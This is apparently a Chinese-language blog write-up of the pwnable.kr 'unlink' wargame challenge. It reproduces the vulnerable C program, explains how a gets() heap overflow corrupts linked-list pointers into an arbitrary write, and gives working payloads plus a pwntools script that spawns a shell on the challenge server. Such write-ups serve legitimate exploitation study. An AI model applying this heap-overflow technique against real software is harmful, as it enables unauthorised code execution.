2019-04-06 | UNLOCK

2019-4-6-pwnable.kr-unlink

2019-4-6-pwnable.kr-unlink

这一题第一眼看过去以为很简单,结果因为对指针的不熟悉导致卡壳了好久。
先用
scp -P 2222 unlink@pwnable.kr:/home/unlink/unlink 本地目录地址
把unlink和unlink.c下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;//4 byte
struct tagOBJ* bk;//4 byte
char buf[8];//8 byte
}OBJ;

void shell(){
system("/bin/sh");
}

void unlink(OBJ* P){
OBJ* BK;//4 byte
OBJ* FD;//4 byte
BK=P->bk;//4 byte
FD=P->fd;//4 byte
FD->bk=BK;//4 byte fd+4=bk
BK->fd=FD;//4 byte bk=fd
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));

// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;

printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);

// exploit this unlink!
unlink(B);
return 0;
}

程序很简单,就是malloc了三个结构体,

在堆上的抽象结构
chunk A size
chunk A context(0-3字节存储chunk B,4-7字节为空,+8字节buf)
chunk B size
chunk B context(头8个字节分别存储着 *chunk A、 *chunk B,+8字节buf)
chunk C size
chunk C context(第4-8字节存储着
chunk B,+8字节buf)

实际结构
avatar
这里有个小问题,可能因为我的kali是64位的,所以在本地的堆是按16位对齐的,而pwnable.kr服务器的堆则是按照8位对齐的,这一点我也是多次失败看别人的题解才发现的,具体原理不懂。

然后unlink(B),简单来讲就是,让A原本为空的第4-8字节变成C,C原本为空的头四个字节变成A,是一个简化版的模拟unlink
B->fd->bk=B->bk
B->bk->fd=B->fd

原本光这样是没什么漏洞的,但因为unlink之前有个gets(A->buf),gets这个函数的危险性就在于它不会检测边界,可以随意地溢出。
通过溢出覆盖B的fd和bk,就可以造成任意地址写入。

我一开始的想法是让chunk B的fd=shell()函数地址,bk=main函数返回地址,然后发现了一个问题,就是*fd+4位置会被写入bk的值,这样shell函数就被破坏了。

然后我想到先把shell地址存起来,通过调用这个存放地址来调用shell函数,于是我写了这个payload:’a’*24+p32(heap+0x28)+p32(stack+0x18)+p32(shell_addr),其中heap、stack是程序自己告诉我们的两个值,heap+0x28是chunkB的buf字段,stack+0x18是存放return地址。

这里就体现了我对指针的不熟悉,BK=stack+0x18,然后BK->fd=FD,这个时候return地址就变成了heap+0x28,然而heap+0x28不是shell的地址,而是存储着shell的地址,因为对指针的不熟悉导致我在这里卡了很久
用objdump -D unlink看汇编码

1
2
3
4
5
6
7
call    unlink
add esp, 10h
mov eax, 0
mov ecx, [ebp+var_4]
leave
lea esp, [ecx-4]
retn

忍不住看了别人的题解才发现函数返回之前,esp的值会变成[ecx-4],而[heap+0x28]就是shell()函数地址。retn相当于pop eip,执行retn的时候就会把栈顶的esp赋值给eip,然后实现跳转。
所以我们要让ecx-4=shell_addr=heap+0x28,因为ecx=[ebp+var_4]=[ebp-4] (var_4=-4),所以要让ebp-4地址所在的值变成(heap+0x28)+4.
这样我们就能构造payload=’a’24+p32(heap+0x28+4)+p32(stack+0x14-4)+p32(shell_addr)或者’a’24+p32(stack+0x14-8)+p32(heap+0x28+4)+p32(shell_addr)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

#p=process("./unlink")
p=ssh(user='unlink',host='pwnable.kr',port=2222,password='guest',)

unlink_addr=0x08048504
shell_addr=0x080484eb
#gdb.attach(p)
text=p.recv(1024)
print (text)
stack=int(text[28:38],16)
print("stack:",stack)
heap=int(text[-46:-37],16)
print("heap:",heap)

#p.sendline('a'*24+p32(stack+12)+p32(heap+0x28+4)+p32(shell_addr))
p.sendline('a'*16+p32(stack+12)+p32(heap+0x20+4)+p32(shell_addr))
p.interactive()

心得体会:还是看汇编靠谱
参考题解:https://www.cnblogs.com/p4nda/p/7172104.html

Linux堆溢出漏洞利用之unlink:
https://www.cnblogs.com/alisecurity/p/5563819.html

评论加载中